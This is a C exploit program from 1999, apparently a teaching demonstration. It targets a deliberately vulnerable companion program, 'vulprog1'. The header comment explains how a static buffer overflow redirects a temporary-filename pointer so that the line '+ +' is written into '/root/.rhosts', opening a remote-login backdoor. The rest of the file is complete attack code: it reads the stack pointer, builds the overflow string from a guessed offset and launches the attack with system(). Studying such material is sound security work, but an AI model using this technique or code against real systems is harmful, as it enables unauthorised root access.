/*
 * Copyright (C) January 1999, Matt Conover & WSD
 *
 * This will exploit vulprog1.c.  It passes some arguments to the
 * program (that are supposed to be used for something else).  We are
 * supposed to enter one line of input to be stored temporarily.
 * However, because of a static buffer overflow, we can overwrite the
 * temporary filename pointer, to have it point to argv[1] (which we
 * could pass as "/root/.rhosts".  Then it will write our temporary
 * line to this file.  So our overflow string (what we pass as our
 * input line) will be:
 *   + + # (tmpfile addr) - (buf addr) # of A's | argv[1] address
 *
 * We use "+ +" which everyone knows about, followed by '#' so that the
 * rest is ignored as a comment, but it will not terminate the string
 * in gets() and we will still be able to overflow tmpfile's address.
 *
 * Compile as: gcc -o exploit1 exploit1.c
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define ERROR -1

#define DIFF 16 /* estimated diff between buf/tmpfile in vulprog */

#define VULPROG "./vulprog1"
#define VULFILE "/root/.rhosts" /* the file 'buf' will be stored in */

/* get value of sp off the stack (used to calculate argv[1] address) */
u_long getesp()
{
   __asm__("movl %esp,%eax"); /* equiv. of 'return esp;' in C */
}

int main(int argc, char **argv)
{
   u_long addr;

   register int i;
   int mainbufsize;

   char *mainbuf, buf[DIFF+6+1] = "+ +\t# ";

   /* ------------------------------------------------------ */
   if (argc <= 1)
   {
      fprintf(stderr, "Usage: %s <offset> [try 310-330]\n", argv[0]);
      exit(ERROR);
   }
   /* ------------------------------------------------------ */

   memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +\t# ");

   memset(buf + strlen(buf), 'A', DIFF);
   addr = getesp() + atoi(argv[1]);

   /* reverse byte order (on a little endian system) */
   for (i = 0; i < sizeof(u_long); i++)
      buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255);

   mainbufsize = strlen(buf) + strlen(VULPROG) +
                 strlen(VULPROG) + strlen(VULFILE) + 13;

   mainbuf = (char *)malloc(mainbufsize);
   memset(mainbuf, 0, sizeof(mainbuf));

   snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %s\n",
            buf, VULPROG, VULFILE);

   printf("Overflowing tmpaddr to point to 0x%lx, check %s after.\n\n",
          addr, VULFILE);

   system(mainbuf);
   return 0;
}

